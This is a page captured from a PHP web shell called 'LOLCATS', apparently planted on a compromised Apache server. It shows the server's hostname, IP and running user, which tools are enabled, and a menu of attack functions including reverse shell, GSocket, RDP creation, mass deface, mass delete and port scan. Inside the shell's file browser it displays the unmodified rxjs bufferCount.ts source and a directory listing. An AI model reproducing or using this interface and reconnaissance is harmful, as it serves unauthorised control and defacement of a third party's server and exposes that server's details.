LOLCATS

: /var/www/admin.fixgini.com/node_modules/rxjs/src/internal/operators/ [ drwxr-xr-x ]

Information Server

System: Linux vmi1836763.contaboserver.net 5.15.0-130-generic #140-Ubuntu SMP Wed Dec 18 17:59:53 UTC 2024 x86_64
Software: Apache/2.4.52 (Ubuntu)
PHP Version: 8.4.10 PHP Os: Linux
Server IP: 77.237.233.165
Your IP: 10.6.7.99
User: www-data [33] | Group: [www-data] [33]
Safe Mode: OFF
MYSQL: OFF | PERL: ON | PYTHON: ON | WGET: ON | CURL: ON | GCC: ON | PKEXEC: ON
Disable Function:

NONE

Command ON Config Searcher Create RDP Find Modified Time Find File Get Tools GSocket Jumping Lock File Mass Deface Mass Delete Mass Chmod Mass Change Date Port Scan Reverse Shell Upload Zone-H

: bufferCount.ts

import { OperatorFunction } from '../types';
import { operate } from '../util/lift';
import { createOperatorSubscriber } from './OperatorSubscriber';
import { arrRemove } from '../util/arrRemove';

/**
 * Buffers the source Observable values until the size hits the maximum
 * `bufferSize` given.
 *
 * <span class="informal">Collects values from the past as an array, and emits
 * that array only when its size reaches `bufferSize`.</span>
 *
 * ![](bufferCount.png)
 *
 * Buffers a number of values from the source Observable by `bufferSize` then
 * emits the buffer and clears it, and starts a new buffer each
 * `startBufferEvery` values. If `startBufferEvery` is not provided or is
 * `null`, then new buffers are started immediately at the start of the source
 * and when each buffer closes and is emitted.
 *
 * ## Examples
 *
 * Emit the last two click events as an array
 *
 * ```ts
 * import { fromEvent, bufferCount } from 'rxjs';
 *
 * const clicks = fromEvent(document, 'click');
 * const buffered = clicks.pipe(bufferCount(2));
 * buffered.subscribe(x => console.log(x));
 * ```
 *
 * On every click, emit the last two click events as an array
 *
 * ```ts
 * import { fromEvent, bufferCount } from 'rxjs';
 *
 * const clicks = fromEvent(document, 'click');
 * const buffered = clicks.pipe(bufferCount(2, 1));
 * buffered.subscribe(x => console.log(x));
 * ```
 *
 * @see {@link buffer}
 * @see {@link bufferTime}
 * @see {@link bufferToggle}
 * @see {@link bufferWhen}
 * @see {@link pairwise}
 * @see {@link windowCount}
 *
 * @param {number} bufferSize The maximum size of the buffer emitted.
 * @param {number} [startBufferEvery] Interval at which to start a new buffer.
 * For example if `startBufferEvery` is `2`, then a new buffer will be started
 * on every other value from the source. A new buffer is started at the
 * beginning of the source by default.
 * @return A function that returns an Observable of arrays of buffered values.
 */
export function bufferCount<T>(bufferSize: number, startBufferEvery: number | null = null): OperatorFunction<T, T[]> {
  // If no `startBufferEvery` value was supplied, then we're
  // opening and closing on the bufferSize itself.
  startBufferEvery = startBufferEvery ?? bufferSize;

return operate((source, subscriber) => {
    let buffers: T[][] = [];
    let count = 0;

source.subscribe(
      createOperatorSubscriber(
        subscriber,
        (value) => {
          let toEmit: T[][] | null = null;

// Check to see if we need to start a buffer.
          // This will start one at the first value, and then
          // a new one every N after that.
          if (count++ % startBufferEvery! === 0) {
            buffers.push([]);
          }

// Push our value into our active buffers.
          for (const buffer of buffers) {
            buffer.push(value);
            // Check to see if we're over the bufferSize
            // if we are, record it so we can emit it later.
            // If we emitted it now and removed it, it would
            // mutate the `buffers` array while we're looping
            // over it.
            if (bufferSize <= buffer.length) {
              toEmit = toEmit ?? [];
              toEmit.push(buffer);
            }
          }

if (toEmit) {
            // We have found some buffers that are over the
            // `bufferSize`. Emit them, and remove them from our
            // buffers list.
            for (const buffer of toEmit) {
              arrRemove(buffers, buffer);
              subscriber.next(buffer);
            }
          }
        },
        () => {
          // When the source completes, emit all of our
          // active buffers.
          for (const buffer of buffers) {
            subscriber.next(buffer);
          }
          subscriber.complete();
        },
        // Pass all errors through to consumer.
        undefined,
        () => {
          // Clean up our memory when we finalize
          buffers = null!;
        }
      )
    );
  });
}

NAME	TYPE	LAST MODIFIED	SIZE	OWNER / GROUP	PERMISSIONS	ACTION
..
OperatorSubscriber.ts	f!le	2024-11-13 5:12	4.91 KB	root / root	-rw-r--r--
audit.ts	f!le	2024-11-13 5:12	3.28 KB	root / root	-rw-r--r--
auditTime.ts	f!le	2024-11-13 5:12	2.33 KB	root / root	-rw-r--r--
buffer.ts	f!le	2024-11-13 5:12	2.4 KB	root / root	-rw-r--r--
bufferCount.ts	f!le	2024-11-13 5:12	3.94 KB	root / root	-rw-r--r--
bufferTime.ts	f!le	2024-11-13 5:12	6.28 KB	root / root	-rw-r--r--
bufferToggle.ts	f!le	2024-11-13 5:12	3.45 KB	root / root	-rw-r--r--
bufferWhen.ts	f!le	2024-11-13 5:12	3.39 KB	root / root	-rw-r--r--
catchError.ts	f!le	2024-11-13 5:12	4.48 KB	root / root	-rw-r--r--
combineAll.ts	f!le	2024-11-13 5:12	183 B	root / root	-rw-r--r--
combineLatest.ts	f!le	2024-11-13 5:12	1.83 KB	root / root	-rw-r--r--
combineLatestAll.ts	f!le	2024-11-13 5:12	2.4 KB	root / root	-rw-r--r--
combineLatestWith.ts	f!le	2024-11-13 5:12	1.81 KB	root / root	-rw-r--r--
concat.ts	f!le	2024-11-13 5:12	1023 B	root / root	-rw-r--r--
concatAll.ts	f!le	2024-11-13 5:12	2.12 KB	root / root	-rw-r--r--
concatMap.ts	f!le	2024-11-13 5:12	3.61 KB	root / root	-rw-r--r--
concatMapTo.ts	f!le	2024-11-13 5:12	3.51 KB	root / root	-rw-r--r--
concatWith.ts	f!le	2024-11-13 5:12	1.4 KB	root / root	-rw-r--r--
connect.ts	f!le	2024-11-13 5:12	3.92 KB	root / root	-rw-r--r--
count.ts	f!le	2024-11-13 5:12	2.25 KB	root / root	-rw-r--r--
debounce.ts	f!le	2024-11-13 5:12	4.8 KB	root / root	-rw-r--r--
debounceTime.ts	f!le	2024-11-13 5:12	4.59 KB	root / root	-rw-r--r--
defaultIfEmpty.ts	f!le	2024-11-13 5:12	1.82 KB	root / root	-rw-r--r--
delay.ts	f!le	2024-11-13 5:12	2.28 KB	root / root	-rw-r--r--
delayWhen.ts	f!le	2024-11-13 5:12	4.59 KB	root / root	-rw-r--r--
dematerialize.ts	f!le	2024-11-13 5:12	2.2 KB	root / root	-rw-r--r--
distinct.ts	f!le	2024-11-13 5:12	2.91 KB	root / root	-rw-r--r--
distinctUntilChanged.ts	f!le	2024-11-13 5:12	6.75 KB	root / root	-rw-r--r--
distinctUntilKeyChanged.t...-.	f!le	2024-11-13 5:12	2.47 KB	root / root	-rw-r--r--
elementAt.ts	f!le	2024-11-13 5:12	2.41 KB	root / root	-rw-r--r--
endWith.ts	f!le	2024-11-13 5:12	2.51 KB	root / root	-rw-r--r--
every.ts	f!le	2024-11-13 5:12	2.41 KB	root / root	-rw-r--r--
exhaust.ts	f!le	2024-11-13 5:12	156 B	root / root	-rw-r--r--
exhaustAll.ts	f!le	2024-11-13 5:12	1.94 KB	root / root	-rw-r--r--
exhaustMap.ts	f!le	2024-11-13 5:12	4.1 KB	root / root	-rw-r--r--
expand.ts	f!le	2024-11-13 5:12	3.59 KB	root / root	-rw-r--r--
filter.ts	f!le	2024-11-13 5:12	3.45 KB	root / root	-rw-r--r--
finalize.ts	f!le	2024-11-13 5:12	2.17 KB	root / root	-rw-r--r--
find.ts	f!le	2024-11-13 5:12	3.55 KB	root / root	-rw-r--r--
findIndex.ts	f!le	2024-11-13 5:12	2.67 KB	root / root	-rw-r--r--
first.ts	f!le	2024-11-13 5:12	3.54 KB	root / root	-rw-r--r--
flatMap.ts	f!le	2024-11-13 5:12	148 B	root / root	-rw-r--r--
groupBy.ts	f!le	2024-11-13 5:12	11.01 KB	root / root	-rw-r--r--
ignoreElements.ts	f!le	2024-11-13 5:12	1.53 KB	root / root	-rw-r--r--
isEmpty.ts	f!le	2024-11-13 5:12	2.12 KB	root / root	-rw-r--r--
joinAllInternals.ts	f!le	2024-11-13 5:12	1.33 KB	root / root	-rw-r--r--
last.ts	f!le	2024-11-13 5:12	3.46 KB	root / root	-rw-r--r--
map.ts	f!le	2024-11-13 5:12	2.53 KB	root / root	-rw-r--r--
mapTo.ts	f!le	2024-11-13 5:12	1.63 KB	root / root	-rw-r--r--
materialize.ts	f!le	2024-11-13 5:12	2.66 KB	root / root	-rw-r--r--
max.ts	f!le	2024-11-13 5:12	1.37 KB	root / root	-rw-r--r--
merge.ts	f!le	2024-11-13 5:12	1.6 KB	root / root	-rw-r--r--
mergeAll.ts	f!le	2024-11-13 5:12	2.36 KB	root / root	-rw-r--r--
mergeInternals.ts	f!le	2024-11-13 5:12	5.93 KB	root / root	-rw-r--r--
mergeMap.ts	f!le	2024-11-13 5:12	3.74 KB	root / root	-rw-r--r--
mergeMapTo.ts	f!le	2024-11-13 5:12	2.75 KB	root / root	-rw-r--r--
mergeScan.ts	f!le	2024-11-13 5:12	3.22 KB	root / root	-rw-r--r--
mergeWith.ts	f!le	2024-11-13 5:12	1.53 KB	root / root	-rw-r--r--
min.ts	f!le	2024-11-13 5:12	1.38 KB	root / root	-rw-r--r--
multicast.ts	f!le	2024-11-13 5:12	4.9 KB	root / root	-rw-r--r--
observeOn.ts	f!le	2024-11-13 5:12	3.78 KB	root / root	-rw-r--r--
onErrorResumeNextWith.ts	f!le	2024-11-13 5:12	4.14 KB	root / root	-rw-r--r--
pairwise.ts	f!le	2024-11-13 5:12	1.88 KB	root / root	-rw-r--r--
partition.ts	f!le	2024-11-13 5:12	2.76 KB	root / root	-rw-r--r--
pluck.ts	f!le	2024-11-13 5:12	4.28 KB	root / root	-rw-r--r--
publish.ts	f!le	2024-11-13 5:12	4 KB	root / root	-rw-r--r--
publishBehavior.ts	f!le	2024-11-13 5:12	1.45 KB	root / root	-rw-r--r--
publishLast.ts	f!le	2024-11-13 5:12	2.88 KB	root / root	-rw-r--r--
publishReplay.ts	f!le	2024-11-13 5:12	5.2 KB	root / root	-rw-r--r--
race.ts	f!le	2024-11-13 5:12	1.12 KB	root / root	-rw-r--r--
raceWith.ts	f!le	2024-11-13 5:12	1.32 KB	root / root	-rw-r--r--
reduce.ts	f!le	2024-11-13 5:12	2.77 KB	root / root	-rw-r--r--
refCount.ts	f!le	2024-11-13 5:12	4.54 KB	root / root	-rw-r--r--
repeat.ts	f!le	2024-11-13 5:12	5.23 KB	root / root	-rw-r--r--
repeatWhen.ts	f!le	2024-11-13 5:12	4.78 KB	root / root	-rw-r--r--
retry.ts	f!le	2024-11-13 5:12	6.38 KB	root / root	-rw-r--r--
retryWhen.ts	f!le	2024-11-13 5:12	4 KB	root / root	-rw-r--r--
sample.ts	f!le	2024-11-13 5:12	2.23 KB	root / root	-rw-r--r--
sampleTime.ts	f!le	2024-11-13 5:12	1.89 KB	root / root	-rw-r--r--
scan.ts	f!le	2024-11-13 5:12	4.05 KB	root / root	-rw-r--r--
scanInternals.ts	f!le	2024-11-13 5:12	2.21 KB	root / root	-rw-r--r--
sequenceEqual.ts	f!le	2024-11-13 5:12	5.43 KB	root / root	-rw-r--r--
share.ts	f!le	2024-11-13 5:12	11.03 KB	root / root	-rw-r--r--
shareReplay.ts	f!le	2024-11-13 5:12	5.96 KB	root / root	-rw-r--r--
single.ts	f!le	2024-11-13 5:12	3.75 KB	root / root	-rw-r--r--
skip.ts	f!le	2024-11-13 5:12	1.19 KB	root / root	-rw-r--r--
skipLast.ts	f!le	2024-11-13 5:12	3.75 KB	root / root	-rw-r--r--
skipUntil.ts	f!le	2024-11-13 5:12	2.65 KB	root / root	-rw-r--r--
skipWhile.ts	f!le	2024-11-13 5:12	2.35 KB	root / root	-rw-r--r--
startWith.ts	f!le	2024-11-13 5:12	2.61 KB	root / root	-rw-r--r--
subscribeOn.ts	f!le	2024-11-13 5:12	2 KB	root / root	-rw-r--r--
switchAll.ts	f!le	2024-11-13 5:12	2.07 KB	root / root	-rw-r--r--
switchMap.ts	f!le	2024-11-13 5:12	5.35 KB	root / root	-rw-r--r--
switchMapTo.ts	f!le	2024-11-13 5:12	2.96 KB	root / root	-rw-r--r--
switchScan.ts	f!le	2024-11-13 5:12	1.89 KB	root / root	-rw-r--r--
take.ts	f!le	2024-11-13 5:12	2.23 KB	root / root	-rw-r--r--
takeLast.ts	f!le	2024-11-13 5:12	2.93 KB	root / root	-rw-r--r--
takeUntil.ts	f!le	2024-11-13 5:12	1.89 KB	root / root	-rw-r--r--
takeWhile.ts	f!le	2024-11-13 5:12	3.05 KB	root / root	-rw-r--r--
tap.ts	f!le	2024-11-13 5:12	8.36 KB	root / root	-rw-r--r--
throttle.ts	f!le	2024-11-13 5:12	5.09 KB	root / root	-rw-r--r--
throttleTime.ts	f!le	2024-11-13 5:12	2.38 KB	root / root	-rw-r--r--
throwIfEmpty.ts	f!le	2024-11-13 5:12	1.73 KB	root / root	-rw-r--r--
timeInterval.ts	f!le	2024-11-13 5:12	2.3 KB	root / root	-rw-r--r--
timeout.ts	f!le	2024-11-13 5:12	15.63 KB	root / root	-rw-r--r--
timeoutWith.ts	f!le	2024-11-13 5:12	4.52 KB	root / root	-rw-r--r--
timestamp.ts	f!le	2024-11-13 5:12	1.59 KB	root / root	-rw-r--r--
toArray.ts	f!le	2024-11-13 5:12	1.35 KB	root / root	-rw-r--r--
window.ts	f!le	2024-11-13 5:12	3.16 KB	root / root	-rw-r--r--
windowCount.ts	f!le	2024-11-13 5:12	4.62 KB	root / root	-rw-r--r--
windowTime.ts	f!le	2024-11-13 5:12	7.67 KB	root / root	-rw-r--r--
windowToggle.ts	f!le	2024-11-13 5:12	4.38 KB	root / root	-rw-r--r--
windowWhen.ts	f!le	2024-11-13 5:12	4.18 KB	root / root	-rw-r--r--
withLatestFrom.ts	f!le	2024-11-13 5:12	4.71 KB	root / root	-rw-r--r--
zip.ts	f!le	2024-11-13 5:12	1.43 KB	root / root	-rw-r--r--
zipAll.ts	f!le	2024-11-13 5:12	828 B	root / root	-rw-r--r--
zipWith.ts	f!le	2024-11-13 5:12	1.54 KB	root / root	-rw-r--r--